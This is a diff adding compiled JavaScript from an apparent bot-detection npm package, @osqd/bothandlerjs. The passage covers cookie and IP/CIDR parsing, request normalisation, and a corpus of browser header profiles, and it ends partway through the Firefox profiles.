@osqd/bothandlerjs 0.3.0

package/dist/corpus/index.js

@@ -0,0 +1,4132 @@
+var __getOwnPropNames = Object.getOwnPropertyNames;
+var __esm = (fn, res) => function __init() {
+  return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
+};
+
+// src/internal/clock.ts
+var ManualClock;
+var init_clock = __esm({
+  "src/internal/clock.ts"() {
+    "use strict";
+    ManualClock = class {
+      constructor(current = 0) {
+        this.current = current;
+      }
+      current;
+      now() {
+        return this.current;
+      }
+      advance(ms) {
+        this.current += ms;
+      }
+      set(ms) {
+        this.current = ms;
+      }
+    };
+  }
+});
+
+// src/internal/http.ts
+function parseCookies(header) {
+  const cookies = /* @__PURE__ */ Object.create(null);
+  if (header === void 0 || header.length === 0) return cookies;
+  const source = header.length > MAX_COOKIE_HEADER ? header.slice(0, MAX_COOKIE_HEADER) : header;
+  let count = 0;
+  for (const pair of source.split(";")) {
+    if (count >= MAX_COOKIES) break;
+    const equals = pair.indexOf("=");
+    if (equals <= 0) continue;
+    const name = pair.slice(0, equals).trim();
+    if (name.length === 0) continue;
+    const rawValue = pair.slice(equals + 1).trim();
+    const value = rawValue.startsWith('"') && rawValue.endsWith('"') ? rawValue.slice(1, -1) : rawValue;
+    try {
+      cookies[name] = decodeURIComponent(value);
+    } catch {
+      cookies[name] = value;
+    }
+    count++;
+  }
+  return cookies;
+}
+function joinHeaderValue(value) {
+  if (value === void 0) return void 0;
+  return Array.isArray(value) ? value.join(", ") : value;
+}
+var MAX_COOKIE_HEADER, MAX_COOKIES;
+var init_http = __esm({
+  "src/internal/http.ts"() {
+    "use strict";
+    MAX_COOKIE_HEADER = 8192;
+    MAX_COOKIES = 64;
+  }
+});
+
+// src/internal/ip.ts
+function parseIp(value) {
+  const input = value.trim();
+  if (input.length === 0 || input.length > 45) return null;
+  const bare = input.startsWith("[") && input.endsWith("]") ? input.slice(1, -1) : input;
+  if (bare.includes(":")) return parseIpv6(bare);
+  return parseIpv4(bare);
+}
+function parseIpv4(value) {
+  const parts = value.split(".");
+  if (parts.length !== 4) return null;
+  const bytes = new Uint8Array(4);
+  for (let i = 0; i < 4; i++) {
+    const part = parts[i];
+    if (part.length === 0 || part.length > 3) return null;
+    if (!/^\d+$/.test(part)) return null;
+    if (part.length > 1 && part[0] === "0") return null;
+    const n = Number(part);
+    if (n > 255) return null;
+    bytes[i] = n;
+  }
+  return bytes;
+}
+function parseIpv6(value) {
+  const withoutZone = value.split("%")[0];
+  const doubleColon = withoutZone.indexOf("::");
+  if (doubleColon !== withoutZone.lastIndexOf("::")) return null;
+  const [headText, tailText] = doubleColon === -1 ? [withoutZone, ""] : [withoutZone.slice(0, doubleColon), withoutZone.slice(doubleColon + 2)];
+  const head = headText.length > 0 ? headText.split(":") : [];
+  const tail = tailText.length > 0 ? tailText.split(":") : [];
+  let embedded = null;
+  const groups = [...head, ...tail];
+  const last = groups[groups.length - 1];
+  if (last !== void 0 && last.includes(".")) {
+    embedded = parseIpv4(last);
+    if (!embedded) return null;
+    if (tail.length > 0) tail.pop();
+    else head.pop();
+  }
+  const groupCount = head.length + tail.length + (embedded ? 2 : 0);
+  if (doubleColon === -1 ? groupCount !== 8 : groupCount > 7) return null;
+  const bytes = new Uint8Array(16);
+  let offset = 0;
+  for (const group of head) {
+    if (!writeGroup(bytes, offset, group)) return null;
+    offset += 2;
+  }
+  offset = 16 - tail.length * 2 - (embedded ? 4 : 0);
+  for (const group of tail) {
+    if (!writeGroup(bytes, offset, group)) return null;
+    offset += 2;
+  }
+  if (embedded) bytes.set(embedded, 12);
+  if (isIpv4Mapped(bytes)) return bytes.slice(12, 16);
+  return bytes;
+}
+function writeGroup(bytes, offset, group) {
+  if (group.length === 0 || group.length > 4 || !/^[0-9a-fA-F]+$/.test(group)) return false;
+  const n = Number.parseInt(group, 16);
+  bytes[offset] = n >> 8;
+  bytes[offset + 1] = n & 255;
+  return true;
+}
+function isIpv4Mapped(bytes) {
+  for (let i = 0; i < 10; i++) if (bytes[i] !== 0) return false;
+  return bytes[10] === 255 && bytes[11] === 255;
+}
+function formatIp(bytes) {
+  if (bytes.length === 4) return `${bytes[0]}.${bytes[1]}.${bytes[2]}.${bytes[3]}`;
+  const groups = [];
+  for (let i = 0; i < 16; i += 2) groups.push((bytes[i] << 8 | bytes[i + 1]).toString(16));
+  let bestStart = -1;
+  let bestLen = 0;
+  for (let i = 0; i < 8; i++) {
+    if (groups[i] !== "0") continue;
+    let j = i;
+    while (j < 8 && groups[j] === "0") j++;
+    if (j - i > bestLen) {
+      bestLen = j - i;
+      bestStart = i;
+    }
+    i = j;
+  }
+  if (bestLen < 2) return groups.join(":");
+  return `${groups.slice(0, bestStart).join(":")}::${groups.slice(bestStart + bestLen).join(":")}`;
+}
+function normalizeIp(value) {
+  const bytes = parseIp(value);
+  return bytes ? formatIp(bytes) : null;
+}
+function parseCidr(value) {
+  const slash = value.lastIndexOf("/");
+  const addressText = slash === -1 ? value : value.slice(0, slash);
+  const bytes = parseIp(addressText);
+  if (!bytes) return null;
+  const maxPrefix = bytes.length * 8;
+  if (slash === -1) return { bytes, prefix: maxPrefix, source: value };
+  const prefixText = value.slice(slash + 1);
+  if (!/^\d{1,3}$/.test(prefixText)) return null;
+  const prefix = Number(prefixText);
+  if (prefix > maxPrefix) return null;
+  return { bytes, prefix, source: value };
+}
+function cidrContains(cidr, ip) {
+  if (cidr.bytes.length !== ip.length) return false;
+  const fullBytes = cidr.prefix >> 3;
+  for (let i = 0; i < fullBytes; i++) if (cidr.bytes[i] !== ip[i]) return false;
+  const remainder = cidr.prefix & 7;
+  if (remainder === 0) return true;
+  const mask = 255 << 8 - remainder;
+  return (cidr.bytes[fullBytes] & mask) === (ip[fullBytes] & mask);
+}
+function scan(entries, ip, best) {
+  let winner = best;
+  for (let i = 0; i < entries.length; i++) {
+    const entry = entries[i];
+    if (winner !== void 0 && entry.order > winner.order) continue;
+    if (cidrContains(entry.cidr, ip)) winner = entry;
+  }
+  return winner;
+}
+var FamilyIndex, IpRangeSet, SPECIAL_USE_RANGES, SPECIAL_USE;
+var init_ip = __esm({
+  "src/internal/ip.ts"() {
+    "use strict";
+    FamilyIndex = class {
+      /** Prefix < 8. Spans first bytes, so it is always scanned. Realistically empty. */
+      wide = [];
+      buckets = /* @__PURE__ */ new Map();
+      add(entry) {
+        const { cidr } = entry;
+        if (cidr.prefix < 8) {
+          this.wide.push(entry);
+          return;
+        }
+        const first = cidr.bytes[0];
+        let bucket = this.buckets.get(first);
+        if (bucket === void 0) {
+          bucket = { mid: [], deep: /* @__PURE__ */ new Map() };
+          this.buckets.set(first, bucket);
+        }
+        if (cidr.prefix < 16) {
+          bucket.mid.push(entry);
+          return;
+        }
+        const second = cidr.bytes[1];
+        let deep = bucket.deep.get(second);
+        if (deep === void 0) {
+          deep = [];
+          bucket.deep.set(second, deep);
+        }
+        deep.push(entry);
+      }
+      /** The earliest-added range containing `ip`, or `undefined`. */
+      find(ip) {
+        let best = scan(this.wide, ip, void 0);
+        const bucket = this.buckets.get(ip[0]);
+        if (bucket !== void 0) {
+          best = scan(bucket.mid, ip, best);
+          const deep = bucket.deep.get(ip[1]);
+          if (deep !== void 0) best = scan(deep, ip, best);
+        }
+        return best;
+      }
+    };
+    IpRangeSet = class {
+      v4 = new FamilyIndex();
+      v6 = new FamilyIndex();
+      count = 0;
+      /**
+       * Every range that parsed, in the order it was added.
+       *
+       * Kept as plain text beside the index rather than reconstructed from it. The index
+       * is shaped for lookups — bucketed by leading byte, prefix-split — and walking it
+       * back into a list would be both slower and, for anything that wants to *show* the
+       * set, wrong: what an operator recognises is the string they wrote, not a normalised
+       * form of it. These sets are configuration-sized, so the array costs nothing.
+       */
+      sources = [];
+      /** Ranges that failed to parse, surfaced so a typo in config is loud rather than silent. */
+      invalid = [];
+      constructor(ranges = []) {
+        for (const range of ranges) this.add(range);
+      }
+      add(range) {
+        const cidr = parseCidr(range);
+        if (!cidr) {
+          this.invalid.push(range);
+          return;
+        }
+        this.sources.push(cidr.source);
+        (cidr.bytes.length === 4 ? this.v4 : this.v6).add({ cidr, order: this.count++ });
+      }
+      get size() {
+        return this.count;
+      }
+      /** The ranges in this set, as written, oldest first. What a reader can act on. */
+      entries() {
+        return this.sources;
+      }
+      /**
+       * Returns the matching range's original text, or `undefined`. Useful for explaining
+       * a decision. When several ranges match, the one added first wins, so the
+       * explanation does not depend on the index's internal layout.
+       */
+      match(ip) {
+        const bytes = typeof ip === "string" ? parseIp(ip) : ip;
+        if (!bytes) return void 0;
+        return (bytes.length === 4 ? this.v4 : this.v6).find(bytes)?.cidr.source;
+      }
+      contains(ip) {
+        const bytes = typeof ip === "string" ? parseIp(ip) : ip;
+        if (!bytes) return false;
+        return (bytes.length === 4 ? this.v4 : this.v6).find(bytes) !== void 0;
+      }
+    };
+    SPECIAL_USE_RANGES = [
+      "0.0.0.0/8",
+      "10.0.0.0/8",
+      "100.64.0.0/10",
+      "127.0.0.0/8",
+      "169.254.0.0/16",
+      "172.16.0.0/12",
+      "192.0.0.0/24",
+      "192.0.2.0/24",
+      "192.168.0.0/16",
+      "198.18.0.0/15",
+      "198.51.100.0/24",
+      "203.0.113.0/24",
+      "224.0.0.0/4",
+      "240.0.0.0/4",
+      "::1/128",
+      "fc00::/7",
+      "fe80::/10",
+      "2001:db8::/32"
+    ];
+    SPECIAL_USE = new IpRangeSet(SPECIAL_USE_RANGES);
+  }
+});
+
+// src/facts.ts
+function createFacts(input) {
+  const rawUrl = input.url ?? "/";
+  const url = rawUrl.length > MAX_URL_LENGTH ? rawUrl.slice(0, MAX_URL_LENGTH) : rawUrl;
+  const queryStart = url.indexOf("?");
+  const rawPath = queryStart === -1 ? url : url.slice(0, queryStart);
+  const headers = /* @__PURE__ */ Object.create(null);
+  for (const [name, value] of Object.entries(input.headers)) {
+    const joined = joinHeaderValue(value);
+    if (joined !== void 0) headers[name.toLowerCase()] = joined;
+  }
+  const facts = {
+    method: (input.method ?? "GET").toUpperCase(),
+    path: normalizePath(rawPath),
+    query: parseQuery(queryStart === -1 ? "" : url.slice(queryStart + 1)),
+    headers,
+    headerOrder: extractOrder(input.rawHeaders, headers),
+    ip: normalizeIp(input.ip) ?? input.ip,
+    timestamp: input.timestamp ?? Date.now()
+  };
+  const cookieHeader = headers["cookie"];
+  if (cookieHeader !== void 0) facts.cookies = parseCookies(cookieHeader);
+  if (input.protocol !== void 0) facts.protocol = input.protocol;
+  if (input.httpVersion !== void 0) facts.httpVersion = input.httpVersion;
+  if (input.tlsFingerprint !== void 0) facts.tlsFingerprint = input.tlsFingerprint;
+  if (input.partialHeaders === true) facts.partialHeaders = true;
+  if (input.extra !== void 0) facts.extra = input.extra;
+  return facts;
+}
+function normalizePath(rawPath) {
+  let path = rawPath;
+  try {
+    path = decodeURIComponent(rawPath);
+  } catch {
+  }
+  path = path.replace(/\\/g, "/").replace(/\/{2,}/g, "/");
+  if (!path.startsWith("/")) path = `/${path}`;
+  if (path.includes("./")) {
+    const resolved = [];
+    for (const segment of path.split("/")) {
+      if (segment === "" || segment === ".") continue;
+      if (segment === "..") resolved.pop();
+      else resolved.push(segment);
+    }
+    path = `/${resolved.join("/")}`;
+  }
+  return path.length > 1 && path.endsWith("/") ? path.slice(0, -1) : path;
+}
+function parseQuery(search) {
+  const query = /* @__PURE__ */ Object.create(null);
+  if (search.length === 0) return query;
+  let count = 0;
+  for (const [key, value] of new URLSearchParams(search)) {
+    if (count++ >= MAX_QUERY_PARAMS) break;
+    query[key] = value.length > 1024 ? value.slice(0, 1024) : value;
+  }
+  return query;
+}
+function extractOrder(rawHeaders, headers) {
+  if (!rawHeaders || rawHeaders.length === 0) return EMPTY_ORDER;
+  let isNodeStyle = rawHeaders.length % 2 === 0;
+  if (isNodeStyle) {
+    let everyEntryIsAHeader = true;
+    for (let i = 0; i < rawHeaders.length; i++) {
+      const entry = rawHeaders[i];
+      const known = headers[entry.toLowerCase()] !== void 0;
+      if (i % 2 === 0 && !known && !isHeaderName(entry)) {
+        isNodeStyle = false;
+        break;
+      }
+      if (!known) everyEntryIsAHeader = false;
+    }
+    if (everyEntryIsAHeader) isNodeStyle = false;
+  }
+  const step = isNodeStyle ? 2 : 1;
+  const order = [];
+  for (let i = 0; i < rawHeaders.length && order.length < MAX_ORDERED_HEADERS; i += step) {
+    order.push(rawHeaders[i].toLowerCase());
+  }
+  return order;
+}
+function isHeaderName(value) {
+  if (value.length === 0) return false;
+  for (let i = 0; i < value.length; i++) {
+    const code = value.charCodeAt(i);
+    const ok = code >= 48 && code <= 57 || // 0-9
+    code >= 65 && code <= 90 || // A-Z
+    code >= 97 && code <= 122 || // a-z
+    code === 33 || code >= 35 && code <= 39 || code === 42 || code === 43 || code === 45 || code === 46 || code === 94 || code === 95 || code === 96 || code === 124 || code === 126;
+    if (!ok) return false;
+  }
+  return true;
+}
+var MAX_URL_LENGTH, MAX_QUERY_PARAMS, MAX_ORDERED_HEADERS, EMPTY_ORDER;
+var init_facts = __esm({
+  "src/facts.ts"() {
+    "use strict";
+    init_http();
+    init_ip();
+    MAX_URL_LENGTH = 8192;
+    MAX_QUERY_PARAMS = 64;
+    MAX_ORDERED_HEADERS = 64;
+    EMPTY_ORDER = Object.freeze([]);
+  }
+});
+
+// src/corpus/headers.ts
+var HOST = "shop.example";
+function fetchMetadata(kind) {
+  switch (kind) {
+    case "navigate":
+      return [["Sec-Fetch-Site", "none"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
+    case "same-origin-navigate":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
+    case "cross-site-navigate":
+      return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
+    case "form-post":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-User", "?1"], ["Sec-Fetch-Dest", "document"]];
+    case "xhr":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
+    case "cors":
+      return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
+    case "subresource":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "image"]];
+    case "stylesheet":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "style"]];
+    case "script":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "script"]];
+    case "media":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "no-cors"], ["Sec-Fetch-Dest", "video"]];
+    case "eventsource":
+      return [["Sec-Fetch-Site", "same-origin"], ["Sec-Fetch-Mode", "cors"], ["Sec-Fetch-Dest", "empty"]];
+    case "iframe":
+      return [["Sec-Fetch-Site", "cross-site"], ["Sec-Fetch-Mode", "navigate"], ["Sec-Fetch-Dest", "iframe"]];
+  }
+}
+function acceptFor(kind, documentAccept) {
+  switch (kind) {
+    case "xhr":
+    case "cors":
+      return "*/*";
+    case "eventsource":
+      return "text/event-stream";
+    case "subresource":
+      return "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8";
+    case "stylesheet":
+      return "text/css,*/*;q=0.1";
+    case "script":
+      return "*/*";
+    case "media":
+      return "*/*";
+    default:
+      return documentAccept;
+  }
+}
+var isNavigation = (kind) => kind.endsWith("navigate") || kind === "form-post";
+function conditional(options) {
+  const early = [];
+  const late = [];
+  if (options.reload === true) early.push(["Cache-Control", "max-age=0"]);
+  if (options.earlyData === true) early.push(["Early-Data", "1"]);
+  if (options.revalidate?.etag !== void 0) early.push(["If-None-Match", options.revalidate.etag]);
+  if (options.revalidate?.modifiedSince !== void 0) early.push(["If-Modified-Since", options.revalidate.modifiedSince]);
+  if (options.range !== void 0) early.push(["Range", options.range]);
+  if (options.dnt === true) late.push(["DNT", "1"]);
+  if (options.gpc === true) late.push(["Sec-GPC", "1"]);
+  if (options.saveData === true) late.push(["Save-Data", "on"]);
+  if (options.networkHints) {
+    late.push(["RTT", String(options.networkHints.rtt)], ["Downlink", String(options.networkHints.downlink)], ["ECT", options.networkHints.ect]);
+  }
+  if (options.layoutHints) {
+    late.push(["Viewport-Width", String(options.layoutHints.viewportWidth)], ["DPR", String(options.layoutHints.dpr)]);
+  }
+  if (options.prefetch === true) late.push(["Sec-Purpose", "prefetch"], ["Purpose", "prefetch"]);
+  return { early, late };
+}
+function body(options) {
+  if (options.contentType === void 0) return [];
+  const headers = [["Content-Type", options.contentType]];
+  if (options.contentLength !== void 0) headers.push(["Content-Length", String(options.contentLength)]);
+  return headers;
+}
+function chromiumBuild(brands) {
+  return (options, self) => {
+    const nav = isNavigation(options.kind);
+    const { early, late } = conditional(options);
+    const hints = [
+      ["sec-ch-ua", brands.brands],
+      ["sec-ch-ua-mobile", brands.mobile ? "?1" : "?0"],
+      ["sec-ch-ua-platform", `"${brands.platform}"`]
+    ];
+    if (options.highEntropyHints === true) {
+      hints.push(
+        ["sec-ch-ua-full-version-list", brands.fullVersions],
+        ["sec-ch-ua-platform-version", `"${brands.platformVersion}"`],
+        ["sec-ch-ua-arch", `"${brands.arch ?? (brands.mobile ? "arm" : "x86")}"`],
+        ["sec-ch-ua-bitness", `"${brands.bitness ?? "64"}"`],
+        ["sec-ch-ua-model", `"${brands.model ?? ""}"`]
+      );
+    }
+    if (options.prefers?.colorScheme !== void 0) hints.push(["Sec-CH-Prefers-Color-Scheme", options.prefers.colorScheme]);
+    if (options.prefers?.reducedMotion !== void 0) hints.push(["Sec-CH-Prefers-Reduced-Motion", options.prefers.reducedMotion]);
+    return [
+      ["Host", options.host],
+      ["Connection", "keep-alive"],
+      ...early,
+      ...hints,
+      ...nav ? [["Upgrade-Insecure-Requests", "1"]] : [],
+      ["User-Agent", self.userAgent],
+      ...options.origin !== void 0 ? [["Origin", options.origin]] : [],
+      ...body(options),
+      ["Accept", acceptFor(options.kind, self.acceptDocument)],
+      ...fetchMetadata(options.kind),
+      ...options.storageAccess !== void 0 ? [["Sec-Fetch-Storage-Access", options.storageAccess]] : [],
+      ...options.referer !== void 0 ? [["Referer", options.referer]] : [],
+      ["Accept-Encoding", self.acceptEncoding],
+      ["Accept-Language", options.acceptLanguage],
+      ...late,
+      ["Priority", nav ? "u=0, i" : "u=1, i"],
+      ...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
+    ];
+  };
+}
+function geckoBuild(options, self) {
+  const nav = isNavigation(options.kind);
+  const { early, late } = conditional(options);
+  return [
+    ["Host", options.host],
+    ["User-Agent", self.userAgent],
+    ["Accept", acceptFor(options.kind, self.acceptDocument)],
+    ["Accept-Language", options.acceptLanguage],
+    ["Accept-Encoding", self.acceptEncoding],
+    ...options.referer !== void 0 ? [["Referer", options.referer]] : [],
+    ...options.origin !== void 0 ? [["Origin", options.origin]] : [],
+    ...body(options),
+    ...late,
+    ["Connection", "keep-alive"],
+    ...options.cookie !== void 0 ? [["Cookie", options.cookie]] : [],
+    ...early,
+    ...nav ? [["Upgrade-Insecure-Requests", "1"]] : [],
+    ...reorderForGecko(fetchMetadata(options.kind)),
+    ["Priority", nav ? "u=0, i" : "u=4"],
+    ["TE", "trailers"]
+  ];
+}
+function reorderForGecko(headers) {
+  const order = ["Sec-Fetch-Dest", "Sec-Fetch-Mode", "Sec-Fetch-Site", "Sec-Fetch-User"];
+  return order.flatMap((name) => headers.filter(([header]) => header === name));
+}
+function webkitBuild(options, self) {
+  const metadata = new Map(fetchMetadata(options.kind));
+  const { early, late } = conditional(options);
+  return [
+    ["Host", options.host],
+    ...early,
+    ...metadata.has("Sec-Fetch-Dest") ? [["Sec-Fetch-Dest", metadata.get("Sec-Fetch-Dest")]] : [],
+    ["User-Agent", self.userAgent],
+    ...options.origin !== void 0 ? [["Origin", options.origin]] : [],
+    ...body(options),
+    ["Accept", acceptFor(options.kind, self.acceptDocument)],
+    ...metadata.has("Sec-Fetch-Site") ? [["Sec-Fetch-Site", metadata.get("Sec-Fetch-Site")]] : [],
+    ["Accept-Language", options.acceptLanguage],
+    ...metadata.has("Sec-Fetch-Mode") ? [["Sec-Fetch-Mode", metadata.get("Sec-Fetch-Mode")]] : [],
+    ["Accept-Encoding", self.acceptEncoding],
+    ...metadata.has("Sec-Fetch-User") ? [["Sec-Fetch-User", metadata.get("Sec-Fetch-User")]] : [],
+    ...options.referer !== void 0 ? [["Referer", options.referer]] : [],
+    ...late,
+    ["Connection", "keep-alive"],
+    ...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
+  ];
+}
+function legacyWebkitBuild(options, self) {
+  const { early, late } = conditional(options);
+  return [
+    ["Host", options.host],
+    ...early,
+    ["User-Agent", self.userAgent],
+    ...body(options),
+    ["Accept", acceptFor(options.kind, self.acceptDocument)],
+    ["Accept-Language", options.acceptLanguage],
+    ["Accept-Encoding", self.acceptEncoding],
+    ...options.referer !== void 0 ? [["Referer", options.referer]] : [],
+    ...late,
+    ["Connection", "keep-alive"],
+    ...options.cookie !== void 0 ? [["Cookie", options.cookie]] : []
+  ];
+}
+var CHROME_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7";
+var FIREFOX_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8";
+var SAFARI_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
+var LEGACY_ACCEPT = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
+function chromium(version, fullVersion, platform, platformVersion, mobile, extra) {
+  return {
+    brands: `"Not(A:Brand";v="99", "Google Chrome";v="${version}", "Chromium";v="${version}"`,
+    fullVersions: `"Not(A:Brand";v="99.0.0.0", "Google Chrome";v="${fullVersion}", "Chromium";v="${fullVersion}"`,
+    platform,
+    platformVersion,
+    mobile,
+    ...extra
+  };
+}
+var PROFILES = {
+  // ---- Chromium desktop ----
+  chromeWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild(chromium("152", "152.0.7258.67", "Windows", "15.0.0", false))
+  },
+  chromeMac: {
+    userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-GB,en-US;q=0.9,en;q=0.8",
+    build: chromiumBuild(chromium("152", "152.0.7258.67", "macOS", "15.6.0", false, { arch: "arm" }))
+  },
+  chromeLinux: {
+    userAgent: "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild(chromium("152", "152.0.7258.67", "Linux", "6.11.0", false))
+  },
+  chromeChromeOs: {
+    userAgent: "Mozilla/5.0 (X11; CrOS x86_64 15886.69.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild(chromium("151", "151.0.7204.183", "Chrome OS", "15886.69.0", false))
+  },
+  edgeWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
+      fullVersions: '"Microsoft Edge";v="150.0.3296.62", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
+      platform: "Windows",
+      platformVersion: "15.0.0",
+      mobile: false
+    })
+  },
+  edgeMac: {
+    userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 Edg/150.0.0.0",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Microsoft Edge";v="150", "Not(A:Brand";v="24", "Chromium";v="150"',
+      fullVersions: '"Microsoft Edge";v="150.0.3296.62", "Not(A:Brand";v="24.0.0.0", "Chromium";v="150.0.7061.181"',
+      platform: "macOS",
+      platformVersion: "15.6.0",
+      mobile: false
+    })
+  },
+  operaWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 OPR/135.0.0.0",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Chromium";v="149", "Not(A:Brand";v="24", "Opera";v="135"',
+      fullVersions: '"Chromium";v="149.0.7003.108", "Not(A:Brand";v="24.0.0.0", "Opera";v="135.0.6312.44"',
+      platform: "Windows",
+      platformVersion: "15.0.0",
+      mobile: false
+    })
+  },
+  vivaldiWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Vivaldi/7.6.3797.48",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Chromium";v="148", "Not(A:Brand";v="24", "Vivaldi";v="7.6"',
+      fullVersions: '"Chromium";v="148.0.6873.120", "Not(A:Brand";v="24.0.0.0", "Vivaldi";v="7.6.3797.48"',
+      platform: "Windows",
+      platformVersion: "15.0.0",
+      mobile: false
+    })
+  },
+  /** Brave presents an unmodified Chrome identity by design, and adds Sec-GPC. */
+  braveWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.9",
+    build: chromiumBuild(chromium("152", "152.0.0.0", "Windows", "15.0.0", false))
+  },
+  yandexWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 YaBrowser/25.8.0.0 Safari/537.36",
+    acceptDocument: CHROME_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "ru,en;q=0.9",
+    build: chromiumBuild({
+      brands: '"Chromium";v="146", "YaBrowser";v="25.8", "Not(A:Brand";v="24", "Yowser";v="2.5"',
+      fullVersions: '"Chromium";v="146.0.6664.111", "YaBrowser";v="25.8.0.1234", "Not(A:Brand";v="24.0.0.0"',
+      platform: "Windows",
+      platformVersion: "15.0.0",
+      mobile: false
+    })
+  },
+  // ---- Gecko ----
+  firefoxWindows: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0",
+    acceptDocument: FIREFOX_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.5",
+    build: geckoBuild
+  },
+  firefoxMac: {
+    userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0",
+    acceptDocument: FIREFOX_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-GB,en;q=0.5",
+    build: geckoBuild
+  },
+  firefoxLinux: {
+    userAgent: "Mozilla/5.0 (X11; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0",
+    acceptDocument: FIREFOX_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "de-DE,de;q=0.8,en-US;q=0.5,en;q=0.3",
+    build: geckoBuild
+  },
+  firefoxEsr: {
+    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0",
+    acceptDocument: FIREFOX_ACCEPT,
+    acceptEncoding: "gzip, deflate, br, zstd",
+    acceptLanguage: "en-US,en;q=0.5",
+    build: geckoBuild
+  },
+  firefoxAndroid: {
+    userAgent: "Mozilla/5.0 (Android 15; Mobile; rv:148.0) Gecko/148.0 Firefox/148.0",
+    acceptDocument: FIREFOX_ACCEPT,
